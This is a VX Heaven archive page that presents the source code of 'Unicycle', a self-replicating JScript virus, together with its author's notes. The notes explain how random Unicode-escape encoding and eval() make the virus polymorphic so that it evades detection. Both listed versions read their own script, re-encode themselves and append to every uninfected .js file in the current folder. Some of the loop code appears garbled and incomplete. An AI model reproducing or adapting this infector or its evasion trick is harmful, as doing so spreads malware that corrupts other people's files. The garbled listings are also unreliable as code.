Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Source code of computer viruses

Unicycle - Virus for - by roy g biv

Virus for -

roy g biv
Show all viruses by this author

2007-04-01

Comments
Download unicycle.zip (8103 bytes) or browse onlineUNICYCLE .A and .B

Author's notes

What are Unicode escapes?

Some special characters cannot travel through ASCII gateways properly, so the solution is to encode them using a special ASCII encoding. This is usually required by web sites, and is marked by the "%" character. A more specific kind of encoding is for characters whose value is larger than 255, which is for non-ISO-8859 characters, such as Arabic and Hebrew characters. It is marked by the "\u" sequence. There is a more detailed description of Unicode in my United Nations article, which was part of the EfishNC release, but it is not important right now.

The point is that currently the most common use of "\u" encoding is to deliver executable code for exploit payloads, and this is how I found out about it. Since I'm a curious person, I wondered if it could be applied to the script code itself. The answer, of course, is yes. :)

Great! Tell me more!

The Windows JScript engine converts all scripts to Unicode internally, so we must encode our scripts using Unicode escapes. All escapes must be in little-endian format. So, for example, "test" becomes "\u0074\u0065\u0073\u0074".

When I first tried it, there seemed to be some limitations, though - certain elements cannot be encoded. This includes statements, operators, braces, parentheses, and numbers. That is a lot of exceptions, but it still becomes polymorphic enough no-one will be stupid enough to attempt to detect a virus based on just those. ;) Functions can be encoded, and that became very useful later, but here is the first attempt, must be single line:

;/*Unicycle - roy g biv 01/04/07*/
a=new ActiveXObject("scripting.filesystemobject")
b=a.opentextfile(WScript.scriptfullname).readall()
b=b.substr(b.search(c=/;\/\*Unicycle/))         //remove everything before our code
e=b.substr(0,d=b.search(/\*\//)+2)              //skip comment section
Math.random(f=1)                                //let's make it different every time
while(d?{\\^}|".indexOf(g)+1||Math.random()>.5?g:"\"+"u00"+b.charCodeAt(d).toString(16))
                                                //store character if special, else encode it with 50% chance
  }
  d+=g.length
}
for(d=new Enumerator(a.getfolder(".").files);!d.atEnd();d.moveNext())
                                                //demo version, current directory only
{
  if(a.getextensionname(b=d.item()).toLowerCase()=="js")try
  {
    f=b.attributes
    b.attributes=0
    if(a.opentextfile(b).readall().search(c)<0)a.opentextfile(b,8).write(e)
                                                //append ourselves if not infected already
    b.attributes=f
  }
  catch(z)
  {
  }
}

Second Attempt

I noticed that the characters inside quotes can be encoded completely, no matter if they are special or not. This made me think think about ways to encode the whole script without restriction. Eventually I worked it out - eval(). This is also why the ability to encode functions is important - everything can be encoded, except for the parentheses and the string delimiters of the eval. There are two special characters that cannot be used directly. One is the "", the other is the string delimiter. They are special because if we want to write "\", it should be interpreted as "". The problem is that if the "" is encoded as "\u005c", then the behaviour goes wrong, depending on what "" is. If it is "", then what follows the second "" becomes the escaped character. If it is the string delimiter, then the string will end too soon. The solution is to use the String.fromCharCode() method instead, and then there is no problem.

This result is this code:

;/*Unicycle - roy g biv 01/04/07*/
eval('
a=new ActiveXObject("scripting.filesystemobject")
b=a.opentextfile(WScript.scriptfullname).readall()
b=b.substr(b.search(c="Unicycle")-3)            //remove everything before our code
e=b.substr(0,d=b.search("biv")+14)              //skip comment section
f=String.fromCharCode(92)                       //""
g=String.fromCharCode(39)                       //"'"
Math.random(1)                                  //let's make it different every time
while(d.5?b.charAt(d--):f+"u00"+b.charCodeAt(d--).toString(16))
                                                //encode all but first "('" with 50% chance
  d+=2
}
for(d=new Enumerator(a.getfolder(".").files);!d.atEnd();d.moveNext())
                                                //demo version, current directory only
{
  if(a.getextensionname(b=d.item()).toLowerCase()=="js")try
  {
    f=b.attributes
    b.attributes=0
    if(a.opentextfile(b).readall().search(c)<0)a.opentextfile(b,8).write(e+g+")")
                                                //append ourselves if not infected already
    b.attributes=f
  }
  catch(z)
  {
  }
}
')

By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org